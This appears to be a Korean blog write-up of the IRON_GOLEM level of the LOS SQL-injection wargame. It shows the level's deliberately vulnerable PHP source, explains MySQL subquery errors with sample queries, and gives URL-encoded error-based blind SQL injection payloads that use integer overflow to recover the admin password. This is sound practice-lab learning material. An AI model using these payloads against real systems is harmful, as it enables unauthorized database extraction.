본문 바로가기
[웹해킹]/[LOS]

[LOS] IRON_GOLEM

by Hevton 2020. 12. 29.
반응형
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

처음엔 Time-based Sql injection로 풀어야 하나 싶었다.

 

sleep과 benchmark가 막혀있길래, 헤비쿼리로 어떻게든 풀려고 했으나 헤비쿼리를 만드는 데 한계를 느꼈다.

 

그래서 다른 분들의 글을 참고하니, Error based Sql injection 이라고 하셨다.

 

풀이에는 알아본 바로는 두 가지 정도가 있었다.

 

1. if(조건, (select 1 union select 2), 0) 

-> select 1 union select 2가 결과로 두 개 이상의 행을 리턴하므로 오류가 생긴다고 한다. 이 부분이 조금 의아했던 것은

저 자리에 다른 컬럼명들을 넣어줬을 때는 잘 실행되기 마련이였기 때문이다. 

 

이유를 들어보자.

select 1 union select 2가 저 상황에서 오류가 되는 이유는 두 개 이상의 행을 리턴하기 때문이다.

mysql> select 1 union select 2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)

 

그런데 다른 컬럼명들을 넣어주는 경우도 아래와 같이 여러 행을 갖는다.

mysql> select * from book;
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)

mysql> select maker_id from book;
+----------+
| maker_id |
+----------+
|        1 |
|        1 |
|        2 |
|        3 |
|        1 |
|        4 |
|        5 |
+----------+
7 rows in set (0.01 sec)

 

똑같이 두 개 상의 행인데

 

전자는 안되고

mysql> select * from book where id = if(true, (select 1 union select 2), 0);
ERROR 1242 (21000): Subquery returns more than 1 row

후자는 된다

mysql> select * from book where id = if(true, (select maker_id), 0);
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
+----+-------------+---------------+----------+
1 row in set (0.00 sec)

 

더 확실하게 보면

mysql> select * from book;
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)

mysql> select * from book where id = (select maker_id);
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
+----+-------------+---------------+----------+
1 row in set (0.00 sec)

mysql> select * from book where id = (select maker_id from book);
ERROR 1242 (21000): Subquery returns more than 1 row

보시다시피 위는 되는데 아래는 안된다. 뭔차이일까. 서브쿼리에서 테이블명을 생략하고 안하고의 차이 뿐인데..

특히 maker_id를 그냥 넣은 것도 아니고 select maker_id로 해줬는데...

 

stackoverflow.com/questions/65489428/what-is-difference-between-two-syntaxes-in-sql?noredirect=1#comment115782182_65489428

 

전자의 경우 모든 레코드를 차례로 돌면서 검색할 때 id에 따라 maker_id가 같은지 검사하는 느낌이라면

(ex, 1행의 경우  id = 1, maker_id = 1 / 2행의 경우 id = 2, maker id = 1... 즉 1 = 1 느낌)

후자의 경우는 id가 maker_id 7개 전체와 같은지 검사하는 느낌이라고 보여진다.

(ex, 1행의 경우 id = 1, maker_id = 1,1,2,3,1,4,5 )

 

즉, 컬럼명을 넣을 때와는 느낌이 다른 것 같고, (select 컬럼명) 이런 식으로 넣어주면 컬럼명으로 똑같이 인식되나보다.

전자는 컬럼명을 넣어준 것과 다름없고, 후자는 새로운 데이터 전체를 넣어준 것이다.

 

컬럼명을 넣어주면, 쿼리 실행 과정에서 레코드를 찾으면서 연산 시 각 레코드에서 해당 컬럼의 값에 대해 참조되는 방식이라면(1대1)

새로운 여러 데이터를 넣어주게 되면 비교가 1 대 1이 아닌 1 대 다수가 되어서 오류가 나오는 것 같다.

 

검색을 할 때 모든 레코드를 대상으로 차례로 검색해나가게 될 텐데, id = maker_id 라는 식을 갖는다면

각 레코드에서의 id 값과 maker_id 값이 같은지를 비교하게 되는데에 비해 id = (select maker_id from book) 이라면

현재 하나의 행에서 다수 개의 행과 같은지를 비교하게 되니 오류가 나온다고 보는 것이다.

 

여태, 컬럼명 자체는 그 자체만으로 해당 컬럼의 모든 레코드를 소유하고 있는 상태를 의미한다는 생각을 갖고 있었는데,

데이터베이스에서 검색 시에 결국엔 모든 레코드를 대상으로 연산해줘야 한다는 점을 미루어,

컬럼명을 넣어주면 현재 각 레코드 위치의 컬럼 데이터를 의미하게 된다고 보면 더 좋을 것 같다.

->

검색 시, id = 7 을 찾게 된다면

레코드 1부터 끝까지 차례로 검색해나가며 id 컬럼 데이터가 7인 데이터를 찾게 된다.

마찬가지로, id = maker_id 를 찾게 된다면

레코드 1부터 차례로 검색해나가며 id 컬럼 데이터와 maker_id 컬럼 데이터가 같은 데이터를 찾게 된다.

 

따라서 id = 다수개의 행 데이터 라는 식이 세워지면 오류가 나오게 된다.

각 레코드에서 비교를 해내감에 있어서 오류가 생기게 된다.

 

그리고 다시한번 보지만, select ~ from 사이는 컬럼 제한이고 from 이후가 레코드 제한이다.

--------------------------------------------------------------------------------------

 

 

다른 방법으로는, 컬럼에 들어가는 자료형에 오버플로우를 넣는 방법이 있었다.

velog.io/@ikki/LoS-IronGolem

 

이 분의 방법을 토대로 문제를 풀 수 있었다.

 

pw=1%27%20or%20id=%27admin%27%20and%20if(length(pw)=32,%200xFFFFFFFFFFFFFF*0xFFFFFFFF,%200)%23

-> pw 길이는 32

 

pw=1%27%20or%20id=%27admin%27%20and%20if(ascii(right(left(pw,1),1))=48,%200xFFFFFFFFFFFFFF*0xFFFFFFFF,%200)%23

-> 첫 자자리는 아스키코드 48 = '0'

 

이런식으로 프로그램을 돌린다.

 

query : select id from prob_iron_golem where id='admin' and pw='06b5a6c16e8830475f983cc3a825ee9a'

 

 

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] HELL_FIRE  (0) 2021.02.01
[LOS] DARK_EYES  (0) 2020.12.30
[LOS] DRAGON  (0) 2020.12.28
[LOS] XAVIS  (0) 2020.12.27
[LOS] NIGHTMARE  (0) 2020.12.25